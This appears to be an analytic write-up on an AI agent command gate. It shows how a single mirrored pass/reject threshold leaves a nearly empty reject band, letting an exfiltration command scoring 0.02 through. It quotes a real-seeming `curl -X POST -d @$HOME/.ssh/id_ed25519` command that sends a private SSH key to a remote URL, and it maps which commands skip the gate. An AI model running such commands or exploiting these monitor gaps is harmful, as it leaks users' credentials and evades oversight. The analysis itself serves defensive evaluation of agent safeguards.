An SSH key upload scoring 0.02 survives this agent gate once the threshold hits 0.99

One number sets both edges of the band. A threshold on a proposition phrased in safe terms passes a command at or above that number and calls a violation at or below its mirror, 1 minus the threshold ^[5]. At 0.97 the reject band runs 0.00 to 0.03 and the unclear band covers 0.94 of the range. At 0.99 the reject band is 0.00 to 0.01 and the unclear band covers 0.98 ^[5]. Moving the pass side two points removed two thirds of the band that catches anything ^[1]. The exfiltration command scored 0.02 ^[6]. That sits inside the slice the move deleted ^[2].

The same rule looks well behaved one threshold down. Across 18 fixtures, according to the write-up on dev.to, intent_coverage came out bimodal: 0.77 to 0.98 when the user had asked for the work, 0.06 to 0.15 when they had not, and nothing in between ^[4]. The threshold went at 0.60, inside an empty region 0.62 wide ^[3]. Mirror 0.60 and the violation cutoff is 0.40, which leaves the highest unrequested fixture 0.25 clear of it ^[4]. At 0.99 the equivalent room is 0.01.

Those are 18 commands from one developer's own API work, gathered to place the thresholds ^[3]. For 0.60 to transfer to another repo, the two clusters have to reappear on commands the model has not seen, and this fixture set cannot say where a genuinely ambiguous command lands, because none of the 18 landed there ^[4].

The gate exists because a pattern list missed a real command. An agent ran `curl -X POST -d @$HOME/.ssh/id_ed25519` against a remote URL, and no deny pattern targeted `-d @`, so the rule engine read it as an ordinary curl invocation and ran it unjudged ^[7].

Rules still run first, and Jev cannot overrule them ^[11]. The extension hooks the tool_call lifecycle before a subprocess spawns or a disk write happens ^[10]. Recursive root deletions, home directory deletions and writes to system directories block with no API call ^[11]. Read-only commands, chains of read-only commands, user-declared safeCommands such as test runners, and edits to unprotected files in the workspace pass without a call as well ^[12]. Everything else goes out under `gateScope: all` ^[13], carrying the command string or target path, the working directory, the user's most recent prompt and local policy notes; file contents, diffs and prior terminal output stay local, and key material is redacted before transmission ^[14].

Prompting on every call is the alternative, and it fails for human reasons: after a run of `git status` and `ls -la`, developers stop reading the arguments ^[8]. Handing the judgement to a chat model costs seconds per evaluation, sometimes returns malformed JSON, and consumes conversation tokens ^[9].

The stated requirement for the gate is a decision in hundreds of milliseconds, obvious cases settled locally, and a closed door when the model is uncertain ^[9]. The unclear band did not close, and the 0.02 command executed ^[6]. The write-up does not say how auto mode resolves an unclear verdict in the general case. In my view each proposition needs two independent cutoffs, one to pass and one to reject, because with a single mirrored number every step toward a stricter pass rule buys a laxer reject rule ^[5].